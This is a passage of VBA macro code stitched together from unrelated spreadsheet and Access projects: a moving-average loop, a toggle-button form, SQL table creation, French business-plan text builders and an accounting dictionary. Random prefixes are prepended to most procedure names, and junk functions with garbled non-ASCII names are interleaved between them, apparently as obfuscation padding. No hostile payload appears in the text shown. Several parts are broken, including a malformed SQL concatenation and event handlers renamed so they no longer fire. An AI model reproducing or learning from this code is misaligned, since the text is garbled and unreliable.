        output_Sheet.Range("A1").Cells(r, c).Value = avg
        
        'Increment
        r = r + 1
        upper_Bound = upper_Bound + 1
        lower_Bound = lower_Bound + 1
    Loop Until lower_Bound > last_Row
End Sub

Private Function S2J6get_Sheet_Name(index As Long) As String
    '1. When the user chooses 'Stock'
    '@index = 1 OR 2
    Select Case index
        Case 1:
            S2J6get_Sheet_Name = "Stock"
        Case 2:
            S2J6get_Sheet_Name = "Output"
    End Select
End Function


Function ®êwáì1yIÆÂ(Iò¾½ºëÂ¥º, KMYF½¼)
®êwáì1yIÆÂ = Iò¾½ºëÂ¥º + KMYF½¼
End Function
Private Sub lla8No3XToggleButton1_Change()
    '6. We then get the current state of the button again...
    current_toggle_State = Me.ToggleButton1.Value

    Select Case current_toggle_State
        '6. If I am still pressed, then...
        Case True:
            'Value of previous state is 1 (or pressed)
            this_Sheet.Range("D7").Value = 1
            'Change caption from LIST 1 to LIST 2
            ToggleButton1.Caption = "LIST 2"
            'List is still LIST 1...
            ComboBox1.Clear
            ComboBox1.AddItem "Tomato", 0
            ComboBox1.AddItem "Cucumber", 1
            ComboBox1.ListIndex = 0
        '6. If I am now unpressed by the user...
        Case False:
            'Value of previous state is 0 (or unpressed)
            this_Sheet.Range("D7").Value = 0
            'Change caption from LIST 2 to LIST 1
            ToggleButton1.Caption = "LIST 1"
            'LIST 2 to LIST 1...
            ComboBox1.Clear
            ComboBox1.AddItem "Pizza", 0
            ComboBox1.AddItem "Soda", 1
            ComboBox1.ListIndex = 0
    End Select
End Sub

Private Sub xRlJvt2uUserForm_Initialized()
    '1. We set our variables
    Dim previous_Toggle_State As Long
    
    '2. We set the sheet "food" as an object
    Set this_Sheet = Worksheets("Food")
    
    '3. We get the previous button state from the sheet...
    previous_Toggle_State = this_Sheet.Range("D7").Value
    
    Select Case previous_Toggle_State
        Case 1:
            '4. I was pressed, then button should be pressed...
            Me.ToggleButton1.Value = True
            'And, LIST 1 should active
            ComboBox1.Clear
            ComboBox1.AddItem "Tomato", 0
            ComboBox1.AddItem "Cucumber", 1
            ComboBox1.ListIndex = 0
            '4. Otherwise, it should be unpressed
        Case 0:
            Me.ToggleButton1.Value = False
            'LIST 2 should active
            ComboBox1.Clear
            ComboBox1.AddItem "Pizza", 0
            ComboBox1.AddItem "Soda", 1
            ComboBox1.ListIndex = 0
    End Select
End Sub



Function ÖîÁ3ƒ¹üu¤(c3rk«j¶±ƒ, vÉnJ­g¬5, Bà¨Jv¦5Áƒbd3, MfIéà´vÜ, TOF¸J£æ¢p, zréç4µGIyAÄ¢Y)
ÖîÁ3ƒ¹üu¤ = StrConv(c3rk«j¶±ƒ, MfIéà´vÜ)
End Function
Sub dE01create_Table()
    '
    ' Example creating a table with SQL
    '
    DoCmd.RunSQL "CREATE TABLE Kendall (" & _
                    "HerName varchar (255), " & _
                    "HerSurname varchar(255), " & _
                    "HerAge int"
                    ")"
End Sub

Sub O2zrmodify_Table()
    On Error Resume Next
    DoCmd.RunSQL "ALTER TABLE Kendall " & _
                 "ADD COLUMN Address varchar(255)"
End Sub



Function «sNKºlPtIA(·i¨n§ûÀ²­U, ªÁyâ70GXAä3)
«sNKºlPtIA = ·i¨n§ûÀ²­U + ªÁyâ70GXAä3
End Function
Private Sub nbL4kO4pClass_Initialize()
    'Set sheets at initialization
    Call get_Worksheet_Helper
    type_entreprise = wk_two.Range("type_entreprise").Value
    Call set_phrases_Helper
End Sub

Private Sub PmD1Dqxwget_Worksheet_Helper()
    Set wk_one = Worksheets("Analyse")
    Set wk_two = Worksheets("Config")
End Sub

Private Sub HhLoAlCzset_phrases_Helper()
    Dim c_var, t_var, d_var As String
    '
    ' This helper is used to create the phrases with the variables
    ' that were set or calculated in the 'Config' worksheet
    '
    phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activités").Value & _
                 " jours par semaines soit un nombre total de " & _
                 Round(wk_two.Range("semaines_activités").Value, 2) & " semaines."
    '
    ' TO DO
    '
    
    '
    ' I am using this technique in order to get the correct values to display
    ' depending on the fact if the enterprise is a restaurant or bar instead
    ' of a digital based type project
    '
    If type_entreprise = "numérique" Then
        c_var = "ca_numérique"
        t_var = "frequentation_mensuelle"
        d_var = "mois"
    Else
        c_var = "ca_restauration"
        t_var = "frequentation_journalière"
        d_var = "jours"
    End If
    phrase_five = "Pour une fréquentation de " & wk_two.Range(t_var).Value & " clients par " & d_var & ", " & _
                  "le chiffre d'affaire annuel est de " & Round(wk_two.Range(c_var).Value, 2) & "€ par an"
    '
    ' TO DO
    '
    phrase_seven = "Le prix unitaire utilisé pour l'estimation du C.A. est de " & wk_two.Range("N10").Value & "€ soit " & _
                   wk_two.Range("N14").Value & "€ TTC et une marge de " & wk_two.Range("O11").Value & "% (ou " & _
                   wk_two.Range("N11").Value & "€)"
End Sub

Public Sub gqpQOu6Gchange_phrases()
    wk_one.Range("B8").Value = phrase_one
    wk_one.Range("B15").Value = phrase_five
    wk_one.Range("B18").Value = phrase_seven
End Sub


Function jr7lLæ¾Q¢(äIÀzl¿r¢, úg¿¸lDïoz)
jr7lLæ¾Q¢ = äIÀzl¿r¢ + úg¿¸lDïoz
End Function

Private Sub lvi8CmXocreate_dictionary()
    '
    ' This sub is used to initialize the values in the dictionary
    ' when the class is called by outside programs.
    ' It iterates on the PCG sheets in order to collect the values
    ' and integrate them to the dictionary.
    '
    top_row_adress = pcg.Range("A2").Row
    bottom_row_adress = pcg.Range("A2").End(xlDown).Row
    
    For i = top_row_adress To bottom_row_adress
        pcg_dictionary.Add pcg.Range("A" & i).Value, pcg.Range("A" & i).Offset(0, 1).Value
    Next i
End Sub

Public Sub dyBFDgunfill_list_box_item(Optional specific_class As Long = 0)
    '
    ' Use this sub to fill the list box with the values for the
    ' user to choose from.
    '
    ' -- Use 0 to get all items from the dictionary
    ' -- Use a class number betweet 1 and 7 to get a specific class
    '
    If specific_class = 0 Then
        For Each dictionary_item In pcg_dictionary.Items
            UserForm1.ListBox1.AddItem dictionary_item
        Next
    End If
    
    If specific_class > 0 Then
        Call regex_engine(specific_class)
    End If
End Sub